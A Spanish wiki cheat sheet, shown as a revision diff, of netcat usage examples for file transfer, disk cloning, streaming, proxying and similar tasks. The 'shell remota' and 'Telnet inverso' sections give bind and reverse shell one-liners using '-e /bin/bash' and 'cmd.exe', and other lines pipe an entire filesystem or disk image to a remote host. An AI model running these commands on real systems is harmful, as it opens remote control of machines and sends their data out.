meta data de esta página
  •  

Diferencias

Muestra las diferencias entre dos versiones de la página.

Enlace a la vista de comparación

Ambos lados, revisión anteriorRevisión previa
Próxima revisión
Revisión previa
seguridad:herramientas:netcat [302014/01/ 10:44] lcseguridad:herramientas:netcat [182023/01/ 13:37] (actual) – editor externo 127.0.0.1
Línea 1: Línea 1:
 +====== Netcat ======
 +<note warning>En las nuevas versiones de nc ya no hace falta el -p para indicar el puerto</note>
 +===== Ejemplos  de uso =====
 +=== Chat ===
  
 +**Servidor** <code>nc -l 2000 </code>
 +**Cliente** <code>nc localhost 2000</code>
 +
 +=== Transferencia de ficheros ===
 +
 +**Receptor:**<code>nc -l 2000 > nombrefichero </code>
 +
 +**Emisor**<code>nc localhost 2000 < ficheroaenviar </code>
 +
 +Si queremos enviar el fichero comprimido desde el emisor hacemos 
 +<code> cat entrada.txt | gzip | nc remote.host 2000 -q 0 </code>
 +
 +Otra forma de hacerlo es :
 +
 +**Receptor**<code>"nc -l 4000 | tar xvf -"</code>
 +**Emisor**<code>"tar -cf - . | nc ipdestino 4000"</code>
 +
 +
 +=== Transferir un disco o partición ===
 +
 +**Receptor** <code>nc -l 2000|bzip2 -d|dd bs=16M of=/dev/sdb</code>
 +**Emisor**<code>dd bs=16M if=/dev/sda|bzip2 -c|nc servidor_receptor 2000</code>
 +
 +=== Servidor de echo ===
 +Ponemos un servidor que ejecuta cat de modo que devolverá todo lo que se le envíe
 +**Servidor** <code>nc -l 2000 -e /bin/cat </code>
 +**Cliente** <code>nc localhost 2000 </code>
 +
 +=== Servidor de daytime ===
 +Exactamente lo mismo que el ejemplo anterior pero ejecutando date en lugar de cat.
 +
 +<code>nc -l 2000 -e /bin/date</code>
 +
 +Y al conectarnos desde otra consola <code>nc localhost 2000 </code> 
 +
 +
 +=== shell remota ===
 +
 +**Servidor** <code>nc -l -p 2000 -e /bin/bash</code>
 +
 +**Cliente** <code> nc ipservidor 2000</code>
 +
 +== Shell remoto en windows ==
 +**Servidor** <code>nc -l -d -e cmd.exe -p 6000 </code>
 +**Cliente** <code>nc -vv ipservidor 6000 </code>
 +
 +
 +=== Copia de seguridad remota ===
 +
 +**Receptor** <code>netcat -l -p 3333 -v > backup.tgz </code>
 +**Emisor** <code>tar -czvpf - /path/to/files | netcat -q 0 remote.host 3333 </code>
 +
 +Para hacer una copia en plan bestia de todo el sistema puedes hacer:
 +
 +<code>tar -cjvpf - / --exclude /proc --exclude /dev --exclude /sys --exclude /tmp | netcat -q 0 remote.host 3333</code>
 +
 +=== Telnet inverso ===
 +
 +En esta ocasión es el cliente quien pone el terminal remoto
 +
 +**Servidor** <code> nc -l -p 2000</code>
 +**Cliente** <code> nc server.example.org 2000 -e /bin/bash</code>
 +
 +=== HTTP ===
 +
 +Es sencillo conseguir un cliente y un servidor HTTP rudimentarios.
 +**Servidor** <code> nc -l -p http -c “cat index.html”</code>
 +
 +Al cual podemos conectar con cualquier navegador HTTP, como por ejemplo firefox.
 +**Cliente** <code>echo “GET /” | nc www.google.com 80 > index.html</code>
 +
 +=== Streaming de audio ===
 +
 +Un sencillo ejemplo para hacer streaming de un fichero .mp3:
 +**Servidor**<code> nc -l -p 2000 < fichero.mp3</code>
 +
 +y para servir todos los .mp3 de un directorio:
 +<code>cat *.mp3 | nc -l -p 2000</code>
 +
 +**Cliente**<code>nc server.example.org 2000 | madplay –</code>
 +
 +=== Streaming de video ===
 +**Servidor**<code>nc -l -p 2000 < pelicula.avi</code>
 +**Cliente**<code>nc server.example.org 2000 | mplayer –</code>
 +
 +=== Proxy ===
 +Sirva para redirigir una conexión a otro puerto u otra máquina:
 +<code> nc -l -p 2000 -c “nc example.org 22” </code>
 +
 +El tráfico recibido en el puerto 2000 de esta máquina se redirige a la máquina example.org:22. Permite incluso que la conexión entrante sea UDP pero la redirección sea TCP o viceversa!
 +
 +=== Clonar un disco a través de la red ===
 +
 +<note warning>Esto se debe usar con muchísima precaución. Se puede meter la pata y sobreescribir el disco duro origen </note>
 +
 +Es este ejemplo voy a copiar un pen drive USB que está conectado al servidor a un fichero en el cliente y después lo voy a montar para acceder al contenido.
 +**Servidor**<code>dd if=/dev/sda1 | nc -l -p 2000 </code>
 +
 +**Cliente**<code>nc server.example.org 2000 | dd of=pendrive.dump </code>
 +<code>mount pendrive.dump -r -t vfat -o loop /mnt/usb</code>
 +
 +Si queremos hacer una copia comprimida
 +
 +<code> dd if=/dev/sda1 conv=noerror,sync | gzip | netcat -q 0 remote.host 2000</code>
 +
 +Y en la parte cliente:
 +
 +<code> nc -l -p 2000 -v > dev_sda1.gz</code>
 +
 +Para restaurarla bastaría con:
 +
 +<code>  gzip -dc dev_sda1.gz | dd of=/dev/sda1</code>
 +
 +
 +
 +=== Ratón remoto ===
 +
 +Es decir, usar el ratón conectado a una máquina para usar el entorno gráfico de otra. El ejemplo está pensado para Xorg.
 +**Servidor** <code>nc -l -p 2000 < /dev/input/mice</code>
 +**Cliente** Editar el fichero /etc/X11/xorg.conf y modificar la configuración del ratón para que queda así:
 +<file>
 +Section "InputDevice"
 +    Driver     "mouse"
 +    ...
 +    Option    "Device"    "/tmp/fakemouse"
 +    ....
 +EndSection
 +</file>
 +
 +<code> mkfifo /tmp/fakemouse </code>
 +<code>nc server.example.org 2000 > /tmp/fakemouse </code>
 +<code>/etc/init.d/gdm restart </code>
 +
 +=== Medir el ancho de banda ===
 +
 +**Servidor**<code>nc -l -p 2000 | pv > /dev/null </code>
 +**Cliente**<code>nc server.example.org 2000 < /dev/zero </code>
 +
 +=== Imprimir un documento en formato PostScript ===
 +Funciona en impresoras que soporten el estándar AppSocket/JetDirect, que son la mayoría de las que se conectan por Ethernet.
 +<code>cat fichero.ps | nc -q 1 nombre.o.ip.de.la.impresora 9100 </code>
 +
 +
 +
 +
 +==== Referencias ====
 +  * http://crysol.org/es/netcat
 +  * http://www.sans.org/security-resources/sec560/netcat_cheat_sheet_v1.pdf
 +  * http://www.guia-ubuntu.com/index.php?title=Netcat
 +{{tag> netcat}}